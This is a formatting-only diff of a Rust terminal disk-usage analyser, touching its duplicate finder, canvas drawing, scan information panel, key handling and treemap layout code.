let (n, wasted) = (d.groups.len(), d.groups.iter().map(|g| g.wasted()).sum::<i64>()); let (n, wasted) = (
d.groups.len(),
d.groups.iter().map(|g| g.wasted()).sum::<i64>(),
);
self.dirty = true; self.dirty = true;
self.info(format!("Duplicates: {n} verified groups, {} reclaimable", textutil::size(wasted))) self.info(format!(
"Duplicates: {n} verified groups, {} reclaimable",
textutil::size(wasted)
))
} }
} }
@@ -185,23 +258,53 @@ impl DupView {
pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) { pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone(); let t = m.theme.clone();
let Some(d) = &m.dups else { let Some(d) = &m.dups else {
cv.text_centered(r.x, r.y + r.h / 2, r.w, "Press D to search for duplicates", t.muted()); cv.text_centered(
r.x,
r.y + r.h / 2,
r.w,
"Press D to search for duplicates",
t.muted(),
);
return; return;
}; };
if d.running { if d.running {
let p = d.finder.progress(); let p = d.finder.progress();
cv.fill(r, " ", t.base()); cv.fill(r, " ", t.base());
let y = r.y + r.h / 2 - 2; let y = r.y + r.h / 2 - 2;
cv.text_centered(r.x, y, r.w, &format!("Finding duplicates — {}…", p.stage), Style::new(t.accent, t.bg).with(BOLD)); cv.text_centered(
cv.text_centered(r.x, y + 2, r.w, r.x,
&format!("{} candidate files in {} size groups", textutil::count(p.candidates), textutil::count(p.candidate_groups)), t.base()); y,
r.w,
&format!("Finding duplicates — {}…", p.stage),
Style::new(t.accent, t.bg).with(BOLD),
);
cv.text_centered(
r.x,
y + 2,
r.w,
&format!(
"{} candidate files in {} size groups",
textutil::count(p.candidates),
textutil::count(p.candidate_groups)
),
t.base(),
);
if p.bytes_to_hash > 0 { if p.bytes_to_hash > 0 {
let frac = p.bytes_hashed as f64 / p.bytes_to_hash as f64; let frac = p.bytes_hashed as f64 / p.bytes_to_hash as f64;
let bw = 60.min(r.w - 10); let bw = 60.min(r.w - 10);
m.paint_bar(cv, r.x + (r.w - bw) / 2, y + 4, bw, frac, t.accent, false); m.paint_bar(cv, r.x + (r.w - bw) / 2, y + 4, bw, frac, t.accent, false);
cv.text_centered(r.x, y + 5, r.w, cv.text_centered(
&format!("{} of {} hashed · {} skipped", textutil::size(p.bytes_hashed), textutil::size(p.bytes_to_hash), textutil::count(p.skipped)), r.x,
t.muted()); y + 5,
r.w,
&format!(
"{} of {} hashed · {} skipped",
textutil::size(p.bytes_hashed),
textutil::size(p.bytes_to_hash),
textutil::count(p.skipped)
),
t.muted(),
);
} }
return; return;
} }
@@ -211,22 +314,44 @@ impl DupView {
self.rows.push((gi, NO_NODE)); self.rows.push((gi, NO_NODE));
let hash: String = g.hash[..8].iter().map(|b| format!("{b:02x}")).collect(); let hash: String = g.hash[..8].iter().map(|b| format!("{b:02x}")).collect();
rows.push(TableRow { rows.push(TableRow {
cells: vec![textutil::size(g.wasted()), format!("{} × {}", g.files.len(), textutil::size(g.size)), cells: vec![
format!("verified identical · sha256 {hash}…")], textutil::size(g.wasted()),
styles: vec![Some(Style::new(t.warn, t.bg).with(BOLD)), Some(Style::new(t.fg, t.bg).with(BOLD)), Some(Style::new(t.ok, t.bg))], format!("{} × {}", g.files.len(), textutil::size(g.size)),
format!("verified identical · sha256 {hash}…"),
],
styles: vec![
Some(Style::new(t.warn, t.bg).with(BOLD)),
Some(Style::new(t.fg, t.bg).with(BOLD)),
Some(Style::new(t.ok, t.bg)),
],
bar: -1.0, bar: -1.0,
..Default::default() ..Default::default()
}); });
for &id in &g.files { for &id in &g.files {
self.rows.push((gi, id)); self.rows.push((gi, id));
rows.push(TableRow { cells: vec![String::new(), String::new(), format!(" {}", san(&tr.path_bytes(id)))], bar: -1.0, ..Default::default() }); rows.push(TableRow {
cells: vec![
String::new(),
String::new(),
format!(" {}", san(&tr.path_bytes(id))),
],
bar: -1.0,
..Default::default()
});
} }
} }
let mut title = format!("Duplicates — {} groups (Enter details · Space go to)", d.groups.len()); let mut title = format!(
"Duplicates — {} groups (Enter details · Space go to)",
d.groups.len()
);
if let Some(e) = &d.err { if let Some(e) = &d.err {
title += &format!(" — stopped: {}", textutil::sanitize(e)); title += &format!(" — stopped: {}", textutil::sanitize(e));
} }
let cols = [col("WASTED", 10, true, false), col("COPIES", 16, false, false), col("", 0, false, false)]; let cols = [
col("WASTED", 10, true, false),
col("COPIES", 16, false, false),
col("", 0, false, false),
];
self.tb.paint(m, cv, r, &cols, &rows, &title); self.tb.paint(m, cv, r, &cols, &rows, &title);
} }
+82 -12
View File
@@ -40,7 +40,11 @@ impl Color {
} }
pub fn comps(self) -> (f64, f64, f64) { pub fn comps(self) -> (f64, f64, f64) {
(self.r() as f64 / 255.0, self.g() as f64 / 255.0, self.b() as f64 / 255.0) (
self.r() as f64 / 255.0,
self.g() as f64 / 255.0,
self.b() as f64 / 255.0,
)
} }
/// Blends c towards o by t (0..1). Default colours are returned as-is. /// Blends c towards o by t (0..1). Default colours are returned as-is.
@@ -82,7 +86,10 @@ impl Style {
Style { fg, bg, attr: 0 } Style { fg, bg, attr: 0 }
} }
pub const fn with(self, a: Attr) -> Style { pub const fn with(self, a: Attr) -> Style {
Style { attr: self.attr | a, ..self } Style {
attr: self.attr | a,
..self
}
} }
} }
@@ -127,11 +134,46 @@ pub(crate) struct BoxChars {
pub br: &'static str, pub br: &'static str,
} }
pub(crate) const BOX_LIGHT: BoxChars = BoxChars { h: "─", v: "│", tl: "┌", tr: "┐", bl: "└", br: "┘" }; pub(crate) const BOX_LIGHT: BoxChars = BoxChars {
pub(crate) const BOX_ROUND: BoxChars = BoxChars { h: "─", v: "│", tl: "╭", tr: "╮", bl: "╰", br: "╯" }; h: "─",
pub(crate) const BOX_DOUBLE: BoxChars = BoxChars { h: "═", v: "║", tl: "╔", tr: "╗", bl: "╚", br: "╝" }; v: "│",
pub(crate) const BOX_ASCII: BoxChars = BoxChars { h: "-", v: "|", tl: "+", tr: "+", bl: "+", br: "+" }; tl: "┌",
pub(crate) const BOX_ASCII_SEL: BoxChars = BoxChars { h: "=", v: "#", tl: "#", tr: "#", bl: "#", br: "#" }; tr: "┐",
bl: "└",
br: "┘",
};
pub(crate) const BOX_ROUND: BoxChars = BoxChars {
h: "─",
v: "│",
tl: "╭",
tr: "╮",
bl: "╰",
br: "╯",
};
pub(crate) const BOX_DOUBLE: BoxChars = BoxChars {
h: "═",
v: "║",
tl: "╔",
tr: "╗",
bl: "╚",
br: "╝",
};
pub(crate) const BOX_ASCII: BoxChars = BoxChars {
h: "-",
v: "|",
tl: "+",
tr: "+",
bl: "+",
br: "+",
};
pub(crate) const BOX_ASCII_SEL: BoxChars = BoxChars {
h: "=",
v: "#",
tl: "#",
tr: "#",
bl: "#",
br: "#",
};
/// Selects how colours are serialised. /// Selects how colours are serialised.
#[derive(Clone, Copy, PartialEq, Eq, Debug)] #[derive(Clone, Copy, PartialEq, Eq, Debug)]
@@ -154,7 +196,12 @@ impl Canvas {
/// Creates a canvas filled with spaces in style st. /// Creates a canvas filled with spaces in style st.
pub fn new(w: i32, h: i32, st: Style) -> Canvas { pub fn new(w: i32, h: i32, st: Style) -> Canvas {
let (w, h) = (w.max(0), h.max(0)); let (w, h) = (w.max(0), h.max(0));
Canvas { w, h, c: vec![Cell::space(st); (w * h) as usize], big: Vec::new() } Canvas {
w,
h,
c: vec![Cell::space(st); (w * h) as usize],
big: Vec::new(),
}
} }
fn inside(&self, x: i32, y: i32) -> bool { fn inside(&self, x: i32, y: i32) -> bool {
@@ -180,7 +227,12 @@ impl Canvas {
self.big.push(s.to_string()); self.big.push(s.to_string());
HEAP HEAP
}; };
Cell { g, n, w: w as u8, st } Cell {
g,
n,
w: w as u8,
st,
}
} }
/// Writes one cluster of width w at (x, y), repairing any wide cluster /// Writes one cluster of width w at (x, y), repairing any wide cluster
@@ -204,7 +256,12 @@ impl Canvas {
} }
self.c[row + xu] = self.make(s, w, st); self.c[row + xu] = self.make(s, w, st);
for i in 1..wu { for i in 1..wu {
self.c[row + xu + i] = Cell { g: [0; INLINE], n: 0, w: 0, st }; self.c[row + xu + i] = Cell {
g: [0; INLINE],
n: 0,
w: 0,
st,
};
} }
} }
@@ -331,7 +388,13 @@ impl Canvas {
fn sgr(b: &mut String, st: Style, depth: Depth) { fn sgr(b: &mut String, st: Style, depth: Depth) {
b.push_str("\x1b[0"); b.push_str("\x1b[0");
for (bit, code) in [(BOLD, ";1"), (FAINT, ";2"), (ITALIC, ";3"), (UNDERLINE, ";4"), (REVERSE, ";7")] { for (bit, code) in [
(BOLD, ";1"),
(FAINT, ";2"),
(ITALIC, ";3"),
(UNDERLINE, ";4"),
(REVERSE, ";7"),
] {
if st.attr & bit != 0 { if st.attr & bit != 0 {
b.push_str(code); b.push_str(code);
} }
@@ -351,7 +414,14 @@ fn sgr(b: &mut String, st: Style, depth: Depth) {
} }
write!(b, ";{code}") write!(b, ";{code}")
} }
Depth::True => write!(b, ";{};2;{};{};{}", if bg { 48 } else { 38 }, c.r(), c.g(), c.b()), Depth::True => write!(
b,
";{};2;{};{};{}",
if bg { 48 } else { 38 },
c.r(),
c.g(),
c.b()
),
}; };
}; };
col(b, st.fg, false); col(b, st.fg, false);
+5 -1
View File
@@ -28,7 +28,11 @@ pub(crate) fn quant256(c: Color) -> u8 {
let (r, g, b) = (c.r() as i32, c.g() as i32, c.b() as i32); let (r, g, b) = (c.r() as i32, c.g() as i32, c.b() as i32);
let (mut best, mut best_d) = (16, i32::MAX); let (mut best, mut best_d) = (16, i32::MAX);
for i in 0..216 { for i in 0..216 {
let (cr, cg, cb) = (CUBE_LEVELS[i / 36], CUBE_LEVELS[i / 6 % 6], CUBE_LEVELS[i % 6]); let (cr, cg, cb) = (
CUBE_LEVELS[i / 36],
CUBE_LEVELS[i / 6 % 6],
CUBE_LEVELS[i % 6],
);
let d = redmean(r, g, b, cr, cg, cb); let d = redmean(r, g, b, cr, cg, cb);
if d < best_d { if d < best_d {
(best, best_d) = (16 + i, d); (best, best_d) = (16 + i, d);
+10 -3
View File
@@ -39,8 +39,11 @@ impl Model {
if let Some(k) = self.kids_cache.get(&id) { if let Some(k) = self.kids_cache.get(&id) {
return k.clone(); return k.clone();
} }
let mut v: Vec<(i64, NodeId)> = let mut v: Vec<(i64, NodeId)> = tr
tr.children(id).map(|(c, _)| (self.size_of(tr, c), c)).filter(|&(s, _)| s > 0).collect(); .children(id)
.map(|(c, _)| (self.size_of(tr, c), c))
.filter(|&(s, _)| s > 0)
.collect();
v.sort_unstable_by(|a, b| b.0.cmp(&a.0).then(a.1.cmp(&b.1))); v.sort_unstable_by(|a, b| b.0.cmp(&a.0).then(a.1.cmp(&b.1)));
let k = Rc::new(Kids { let k = Rc::new(Kids {
total: v.iter().map(|e| e.0).sum(), total: v.iter().map(|e| e.0).sum(),
@@ -119,7 +122,11 @@ impl Model {
let prev = self.zoom; let prev = self.zoom;
self.zoom = dir; self.zoom = dir;
// Coming back out, keep the directory we left selected. // Coming back out, keep the directory we left selected.
self.sel = if tr.is_ancestor(dir, prev) { prev as i64 } else { NO_SEL }; self.sel = if tr.is_ancestor(dir, prev) {
prev as i64
} else {
NO_SEL
};
self.user_sel = self.sel != NO_SEL; self.user_sel = self.sel != NO_SEL;
self.zoomed = true; self.zoomed = true;
self.dirty = true; self.dirty = true;
+161 -26
View File
@@ -2,8 +2,8 @@
use super::canvas::{Canvas, Style, BOLD}; use super::canvas::{Canvas, Style, BOLD};
use super::model::{Cmd, Model}; use super::model::{Cmd, Model};
use super::table::{col, Table, TableRow};
use super::san; use super::san;
use super::table::{col, Table, TableRow};
use crate::inventory::{ErrKind, Tree, FLAG_ALLOC_UNKNOWN}; use crate::inventory::{ErrKind, Tree, FLAG_ALLOC_UNKNOWN};
use crate::textutil; use crate::textutil;
use crate::treemap::Rect; use crate::treemap::Rect;
@@ -57,66 +57,193 @@ impl InfoView {
} else { } else {
state state
}; };
cv.text(x, y, "SCAN INFORMATION", lw, Style::new(t.accent, t.bg).with(BOLD)); cv.text(
x,
y,
"SCAN INFORMATION",
lw,
Style::new(t.accent, t.bg).with(BOLD),
);
y += 1; y += 1;
line(cv, &mut y, "Root", &san(&st.root), value); line(cv, &mut y, "Root", &san(&st.root), value);
line(cv, &mut y, "State", state, state_st); line(cv, &mut y, "State", state, state_st);
if !st.from_snapshot.is_empty() { if !st.from_snapshot.is_empty() {
line(cv, &mut y, "Snapshot", &textutil::sanitize(&st.from_snapshot), value); line(
cv,
&mut y,
"Snapshot",
&textutil::sanitize(&st.from_snapshot),
value,
);
} }
let files = st.files + st.symlinks + st.others; let files = st.files + st.symlinks + st.others;
line(cv, &mut y, "Items scanned", &textutil::count(files + st.dirs), value); line(
cv,
&mut y,
"Items scanned",
&textutil::count(files + st.dirs),
value,
);
line(cv, &mut y, " Files", &textutil::count(st.files), value); line(cv, &mut y, " Files", &textutil::count(st.files), value);
line(cv, &mut y, " Directories", &textutil::count(st.dirs), value); line(
line(cv, &mut y, " Symlinks", &textutil::count(st.symlinks), value); cv,
&mut y,
" Directories",
&textutil::count(st.dirs),
value,
);
line(
cv,
&mut y,
" Symlinks",
&textutil::count(st.symlinks),
value,
);
line(cv, &mut y, " Special", &textutil::count(st.others), value); line(cv, &mut y, " Special", &textutil::count(st.others), value);
line(cv, &mut y, "Logical size", &format!("{} ({} bytes)", textutil::size(root.tot_size), textutil::count(root.tot_size)), value); line(
line(cv, &mut y, "Allocated size", &format!("{} ({} bytes)", textutil::size(root.tot_alloc), textutil::count(root.tot_alloc)), value); cv,
&mut y,
"Logical size",
&format!(
"{} ({} bytes)",
textutil::size(root.tot_size),
textutil::count(root.tot_size)
),
value,
);
line(
cv,
&mut y,
"Allocated size",
&format!(
"{} ({} bytes)",
textutil::size(root.tot_alloc),
textutil::count(root.tot_alloc)
),
value,
);
let el = st.elapsed(); let el = st.elapsed();
if st.from_snapshot.is_empty() { if st.from_snapshot.is_empty() {
line(cv, &mut y, "Elapsed", &textutil::duration(el), value); line(cv, &mut y, "Elapsed", &textutil::duration(el), value);
let rate = (files + st.dirs) as f64 / el.as_secs_f64().max(0.001); let rate = (files + st.dirs) as f64 / el.as_secs_f64().max(0.001);
line(cv, &mut y, "Rate", &(textutil::count(rate as i64) + " items/s"), value); line(
cv,
&mut y,
"Rate",
&(textutil::count(rate as i64) + " items/s"),
value,
);
let cpus = std::thread::available_parallelism().map_or(1, |n| n.get()); let cpus = std::thread::available_parallelism().map_or(1, |n| n.get());
line(cv, &mut y, "Workers", &format!("{} ({} CPUs)", st.workers, cpus), value); line(
cv,
&mut y,
"Workers",
&format!("{} ({} CPUs)", st.workers, cpus),
value,
);
} }
head(cv, &mut y, "ERRORS AND OMISSIONS"); head(cv, &mut y, "ERRORS AND OMISSIONS");
let mut any_issue = false; let mut any_issue = false;
for (k, &c) in st.err_counts.iter().enumerate() { for (k, &c) in st.err_counts.iter().enumerate() {
if c > 0 { if c > 0 {
line(cv, &mut y, ErrKind::from_u8(k as u8).name(), &textutil::count(c), Style::new(t.err, t.bg).with(BOLD)); line(
cv,
&mut y,
ErrKind::from_u8(k as u8).name(),
&textutil::count(c),
Style::new(t.err, t.bg).with(BOLD),
);
any_issue = true; any_issue = true;
} }
} }
for (k, v) in [("Unscanned dirs", st.unscanned), ("Excluded", st.excluded), ("Other FS skipped", st.skipped_mounts), for (k, v) in [
("Virtual FS skipped", st.virtual_skipped), ("Loops skipped", st.loops_skipped), ("Broken symlinks", st.broken_links), ("Unscanned dirs", st.unscanned),
("Hard-link dups", st.hardlink_dups)] ("Excluded", st.excluded),
{ ("Other FS skipped", st.skipped_mounts),
("Virtual FS skipped", st.virtual_skipped),
("Loops skipped", st.loops_skipped),
("Broken symlinks", st.broken_links),
("Hard-link dups", st.hardlink_dups),
] {
if v > 0 { if v > 0 {
line(cv, &mut y, k, &textutil::count(v), Style::new(t.warn, t.bg).with(BOLD)); line(
cv,
&mut y,
k,
&textutil::count(v),
Style::new(t.warn, t.bg).with(BOLD),
);
any_issue = true; any_issue = true;
} }
} }
if !any_issue { if !any_issue {
line(cv, &mut y, "None", "every entry was read", Style::new(t.ok, t.bg)); line(
cv,
&mut y,
"None",
"every entry was read",
Style::new(t.ok, t.bg),
);
} }
head(cv, &mut y, "OPTIONS"); head(cv, &mut y, "OPTIONS");
let excl = if st.excludes.is_empty() { "none".to_string() } else { textutil::sanitize(&st.excludes.join(", ")) }; let excl = if st.excludes.is_empty() {
"none".to_string()
} else {
textutil::sanitize(&st.excludes.join(", "))
};
line(cv, &mut y, "Exclusions", &excl, value); line(cv, &mut y, "Exclusions", &excl, value);
line(cv, &mut y, "One filesystem", &st.one_file_system.to_string(), value); line(
line(cv, &mut y, "Follow symlinks", &textutil::sanitize(&st.follow), value); cv,
&mut y,
"One filesystem",
&st.one_file_system.to_string(),
value,
);
line(
cv,
&mut y,
"Follow symlinks",
&textutil::sanitize(&st.follow),
value,
);
line(cv, &mut y, "Size mode", m.size_mode.name(), value); line(cv, &mut y, "Size mode", m.size_mode.name(), value);
line(cv, &mut y, "Units", if crate::textutil::si() { "SI (1000)" } else { "IEC (1024)" }, value); line(
cv,
&mut y,
"Units",
if crate::textutil::si() {
"SI (1000)"
} else {
"IEC (1024)"
},
value,
);
if root.has(FLAG_ALLOC_UNKNOWN) { if root.has(FLAG_ALLOC_UNKNOWN) {
line(cv, &mut y, "Note", "allocated size unavailable on this platform", Style::new(t.warn, t.bg)); line(
cv,
&mut y,
"Note",
"allocated size unavailable on this platform",
Style::new(t.warn, t.bg),
);
} }
// Error list on the right (or below in narrow terminals). // Error list on the right (or below in narrow terminals).
let er = if r.w < 100 { let er = if r.w < 100 {
Rect { x: r.x, y: y + 1, w: r.w, h: r.y + r.h - y - 1 } Rect {
x: r.x,
y: y + 1,
w: r.w,
h: r.y + r.h - y - 1,
}
} else { } else {
Rect { x: r.x + lw + 4, y: r.y, w: r.w - lw - 4, h: r.h } Rect {
x: r.x + lw + 4,
y: r.y,
w: r.w - lw - 4,
h: r.h,
}
}; };
if er.w < 30 || er.h < 4 { if er.w < 30 || er.h < 4 {
return; return;
@@ -132,7 +259,11 @@ impl InfoView {
} }
TableRow { TableRow {
cells: vec![e.kind.name().into(), san(&p), textutil::sanitize(&e.msg)], cells: vec![e.kind.name().into(), san(&p), textutil::sanitize(&e.msg)],
styles: vec![Some(Style::new(t.err, t.bg)), None, Some(Style::new(t.muted, t.bg))], styles: vec![
Some(Style::new(t.err, t.bg)),
None,
Some(Style::new(t.muted, t.bg)),
],
bar: -1.0, bar: -1.0,
..Default::default() ..Default::default()
} }
@@ -142,7 +273,11 @@ impl InfoView {
if (st.errors.len() as i64) < st.total_errors() { if (st.errors.len() as i64) < st.total_errors() {
title += &format!(" — first {} shown", textutil::count(st.errors.len() as i64)); title += &format!(" — first {} shown", textutil::count(st.errors.len() as i64));
} }
let cols = [col("KIND", 18, false, false), col("PATH", 0, false, true), col("DETAIL", 22, false, false)]; let cols = [
col("KIND", 18, false, false),
col("PATH", 0, false, true),
col("DETAIL", 22, false, false),
];
self.tb.paint(m, cv, er, &cols, &rows, &title); self.tb.paint(m, cv, er, &cols, &rows, &title);
} }
+23 -7
View File
@@ -1,7 +1,7 @@
//! Key dispatch and the actions keys trigger. //! Key dispatch and the actions keys trigger.
use super::model::{is_group, Cmd, Key, Model, Msg};
use super::modals::{new_group_modal, new_help_modal, new_info_modal, new_save_modal}; use super::modals::{new_group_modal, new_help_modal, new_info_modal, new_save_modal};
use super::model::{is_group, Cmd, Key, Model, Msg};
use super::theme::{load_theme, theme_names}; use super::theme::{load_theme, theme_names};
use super::views::View; use super::views::View;
use super::{fmt_stamp_now, san}; use super::{fmt_stamp_now, san};
@@ -53,13 +53,19 @@ impl Model {
} }
"tab" => self.set_view((self.view + 1) % self.views.len()), "tab" => self.set_view((self.view + 1) % self.views.len()),
"shift+tab" => self.set_view((self.view + self.views.len() - 1) % self.views.len()), "shift+tab" => self.set_view((self.view + self.views.len() - 1) % self.views.len()),
"1" | "2" | "3" | "4" | "5" | "6" | "7" => self.set_view((k.as_bytes()[0] - b'1') as usize), "1" | "2" | "3" | "4" | "5" | "6" | "7" => {
self.set_view((k.as_bytes()[0] - b'1') as usize)
}
"enter" => return self.inspect_selection(&tr), "enter" => return self.inspect_selection(&tr),
"space" | "right" => return self.zoom_into_selection(&tr), "space" | "right" => return self.zoom_into_selection(&tr),
"backspace" | "left" => self.zoom_out(&tr), "backspace" | "left" => self.zoom_out(&tr),
"home" => self.zoom_to(&tr, 0), "home" => self.zoom_to(&tr, 0),
"a" => { "a" => {
self.size_mode = if self.size_mode == SizeMode::Allocated { SizeMode::Logical } else { SizeMode::Allocated }; self.size_mode = if self.size_mode == SizeMode::Allocated {
SizeMode::Logical
} else {
SizeMode::Allocated
};
self.invalidate(); self.invalidate();
let mut cmds = Vec::new(); let mut cmds = Vec::new();
if self.search.query.is_some() { if self.search.query.is_some() {
@@ -88,7 +94,10 @@ impl Model {
"d" | "delete" => return self.request_trash(&tr), "d" | "delete" => return self.request_trash(&tr),
"T" => { "T" => {
let names = theme_names(); let names = theme_names();
let cur = names.iter().position(|n| *n == self.theme.name).unwrap_or(0); let cur = names
.iter()
.position(|n| *n == self.theme.name)
.unwrap_or(0);
let ascii = self.theme.ascii; let ascii = self.theme.ascii;
let mut th = load_theme(names[(cur + 1) % names.len()], &self.opts.settings); let mut th = load_theme(names[(cur + 1) % names.len()], &self.opts.settings);
th.ascii = ascii; th.ascii = ascii;
@@ -200,7 +209,10 @@ impl Model {
return self.info(msg); return self.info(msg);
} }
if let Err(e) = platform::reveal(&tr.path(id)) { if let Err(e) = platform::reveal(&tr.path(id)) {
return self.warn(format!("Open failed: {}", textutil::sanitize(&e.to_string()))); return self.warn(format!(
"Open failed: {}",
textutil::sanitize(&e.to_string())
));
} }
self.info("Opened in file manager") self.info("Opened in file manager")
} }
@@ -210,7 +222,9 @@ impl Model {
Cmd::run(move || { Cmd::run(move || {
let err = { let err = {
let g = t.read().unwrap(); let g = t.read().unwrap();
snapshot::save_file(Path::new(&path), &g).err().map(|e| e.to_string()) snapshot::save_file(Path::new(&path), &g)
.err()
.map(|e| e.to_string())
}; };
Msg::SaveDone { path, err } Msg::SaveDone { path, err }
}) })
@@ -224,5 +238,7 @@ pub(crate) fn default_snapshot_name(root: &[u8]) -> String {
None => "root".into(), None => "root".into(),
}; };
let wd = std::env::current_dir().unwrap_or_default(); let wd = std::env::current_dir().unwrap_or_default();
wd.join(format!("{base}-{}{}", fmt_stamp_now(), brand::SNAPSHOT_EXT)).to_string_lossy().into_owned() wd.join(format!("{base}-{}{}", fmt_stamp_now(), brand::SNAPSHOT_EXT))
.to_string_lossy()
.into_owned()
} }
+149 -21
View File
@@ -70,8 +70,14 @@ impl Model {
} }
} }
let mut l = TmLayout { let mut l = TmLayout {
zoom: self.zoom, rect: r, ver: self.data_ver, blocks: Vec::new(), nested: Vec::new(), zoom: self.zoom,
groups: HashMap::new(), visible: HashSet::new(), inner: HashSet::new(), rect: r,
ver: self.data_ver,
blocks: Vec::new(),
nested: Vec::new(),
groups: HashMap::new(),
visible: HashSet::new(),
inner: HashSet::new(),
}; };
l.blocks = self.layout_level(tr, &mut l, self.zoom, r, TOP_MIN_AREA, TOP_MAX_ITEMS); l.blocks = self.layout_level(tr, &mut l, self.zoom, r, TOP_MIN_AREA, TOP_MAX_ITEMS);
for i in 0..l.blocks.len() { for i in 0..l.blocks.len() {
@@ -99,34 +105,87 @@ impl Model {
/// Lays out the children of parent in r with level-of-detail grouping: /// Lays out the children of parent in r with level-of-detail grouping:
/// children too small to be useful collapse into one group block. /// children too small to be useful collapse into one group block.
fn layout_level(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, min_area: i32, max_items: usize) -> Vec<Block> { fn layout_level(
&mut self,
tr: &Tree,
l: &mut TmLayout,
parent: NodeId,
r: Rect,
min_area: i32,
max_items: usize,
) -> Vec<Block> {
let k = self.kids_of(tr, parent); let k = self.kids_of(tr, parent);
if k.ids.is_empty() || r.empty() { if k.ids.is_empty() || r.empty() {
return Vec::new(); return Vec::new();
} }
let sizes: Vec<f64> = k.sizes.iter().map(|&s| s as f64).collect(); let sizes: Vec<f64> = k.sizes.iter().map(|&s| s as f64).collect();
let vis = treemap::visible(&sizes, k.total as f64, r.area(), min_area, max_items); let vis = treemap::visible(&sizes, k.total as f64, r.area(), min_area, max_items);
let mut items: Vec<Item> = (0..vis).map(|i| Item { id: k.ids[i] as i64, size: sizes[i] }).collect(); let mut items: Vec<Item> = (0..vis)
.map(|i| Item {
id: k.ids[i] as i64,
size: sizes[i],
})
.collect();
if vis < k.ids.len() { if vis < k.ids.len() {
let size = k.sizes[vis..].iter().sum(); let size = k.sizes[vis..].iter().sum();
let gid = group_id(parent); let gid = group_id(parent);
l.groups.insert(gid, Group { parent, kids: k.clone(), from: vis, size }); l.groups.insert(
items.push(Item { id: gid, size: size as f64 }); gid,
Group {
parent,
kids: k.clone(),
from: vis,
size,
},
);
items.push(Item {
id: gid,
size: size as f64,
});
} }
treemap::squarify(&items, r) treemap::squarify(&items, r)
} }
fn layout_nested(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, depth: i32) { fn layout_nested(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, depth: i32) {
// Deeper levels need bigger blocks to stay legible rather than noisy. // Deeper levels need bigger blocks to stay legible rather than noisy.
let blocks = self.layout_level(tr, l, parent, r, NEST_MIN_AREA * (depth - 1), NEST_MAX_ITEMS); let blocks = self.layout_level(
tr,
l,
parent,
r,
NEST_MIN_AREA * (depth - 1),
NEST_MAX_ITEMS,
);
for (i, b) in blocks.iter().enumerate() { for (i, b) in blocks.iter().enumerate() {
let idx = l.nested.len(); let idx = l.nested.len();
l.nested.push(Nested { id: b.id, r: b.rect, depth, alt: i % 2 == 1, inner: false }); l.nested.push(Nested {
id: b.id,
r: b.rect,
depth,
alt: i % 2 == 1,
inner: false,
});
let br = b.rect; let br = b.rect;
if depth < MAX_NEST_DEPTH && b.id >= 0 && br.w >= NEST_RECURSE_W && br.h >= NEST_RECURSE_H && tr.node(b.id as NodeId).is_dir() { if depth < MAX_NEST_DEPTH
&& b.id >= 0
&& br.w >= NEST_RECURSE_W
&& br.h >= NEST_RECURSE_H
&& tr.node(b.id as NodeId).is_dir()
{
l.nested[idx].inner = true; l.nested[idx].inner = true;
let end = self.chain_end(tr, b.id as NodeId); let end = self.chain_end(tr, b.id as NodeId);
self.layout_nested(tr, l, end, Rect { x: br.x, y: br.y + 1, w: br.w - 1, h: br.h - 2 }, depth + 1); self.layout_nested(
tr,
l,
end,
Rect {
x: br.x,
y: br.y + 1,
w: br.w - 1,
h: br.h - 2,
},
depth + 1,
);
} }
} }
} }
@@ -182,7 +241,9 @@ impl Model {
/// The size of the folder a block sits in. /// The size of the folder a block sits in.
fn parent_size(&self, tr: &Tree, id: i64) -> i64 { fn parent_size(&self, tr: &Tree, id: i64) -> i64 {
if is_group(id) { if is_group(id) {
return self.group_info(id).map_or(0, |g| self.size_of(tr, g.parent)); return self
.group_info(id)
.map_or(0, |g| self.size_of(tr, g.parent));
} }
let p = tr.node(id as NodeId).parent; let p = tr.node(id as NodeId).parent;
if p != NO_NODE { if p != NO_NODE {
@@ -191,7 +252,15 @@ impl Model {
0 0
} }
fn paint_top(&mut self, tr: &Tree, cv: &mut Canvas, b: Block, sel: bool, hov: bool, total: i64) { fn paint_top(
&mut self,
tr: &Tree,
cv: &mut Canvas,
b: Block,
sel: bool,
hov: bool,
total: i64,
) {
let t = self.theme.clone(); let t = self.theme.clone();
let base = self.color_of(tr, b.id); let base = self.color_of(tr, b.id);
let fill = base.mix(t.bg, 0.62); let fill = base.mix(t.bg, 0.62);
@@ -234,7 +303,13 @@ impl Model {
title.attr = BOLD; title.attr = BOLD;
} }
cv.draw_box(r, bx, frame); cv.draw_box(r, bx, frame);
cv.text(r.x + 1, r.y, &trunc(&format!(" {name} "), r.w - 2), r.w - 2, title); cv.text(
r.x + 1,
r.y,
&trunc(&format!(" {name} "), r.w - 2),
r.w - 2,
title,
);
let mut label = textutil::size(size); let mut label = textutil::size(size);
let pct = textutil::percent(size, total); let pct = textutil::percent(size, total);
@@ -245,7 +320,17 @@ impl Model {
} }
let label = format!(" {label} "); let label = format!(" {label} ");
if r.h >= 3 && tw(&label) <= r.w - 2 { if r.h >= 3 && tw(&label) <= r.w - 2 {
cv.text_right(r.x + 1, r.y + r.h - 1, r.w - 2, &label, Style { fg: frame.fg, bg: fill, attr: frame.attr }); cv.text_right(
r.x + 1,
r.y + r.h - 1,
r.w - 2,
&label,
Style {
fg: frame.fg,
bg: fill,
attr: frame.attr,
},
);
} }
// Interior labels for blocks without nested previews. // Interior labels for blocks without nested previews.
let inn = r.inset(1); let inn = r.inset(1);
@@ -266,7 +351,13 @@ impl Model {
} }
let y0 = inn.y + (inn.h - lines.len() as i32) / 2; let y0 = inn.y + (inn.h - lines.len() as i32) / 2;
for (i, s) in lines.iter().enumerate() { for (i, s) in lines.iter().enumerate() {
cv.text_centered(inn.x, y0 + i as i32, inn.w, s, Style::new(base.mix(t.fg, 0.4), fill)); cv.text_centered(
inn.x,
y0 + i as i32,
inn.w,
s,
Style::new(base.mix(t.fg, 0.4), fill),
);
} }
} }
@@ -298,10 +389,28 @@ impl Model {
} }
} else { } else {
if r.w >= 4 { if r.w >= 4 {
cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, " ", Style::new(Default::default(), shadow)); cv.fill(
Rect {
x: r.x + r.w - 1,
y: r.y,
w: 1,
h: r.h,
},
" ",
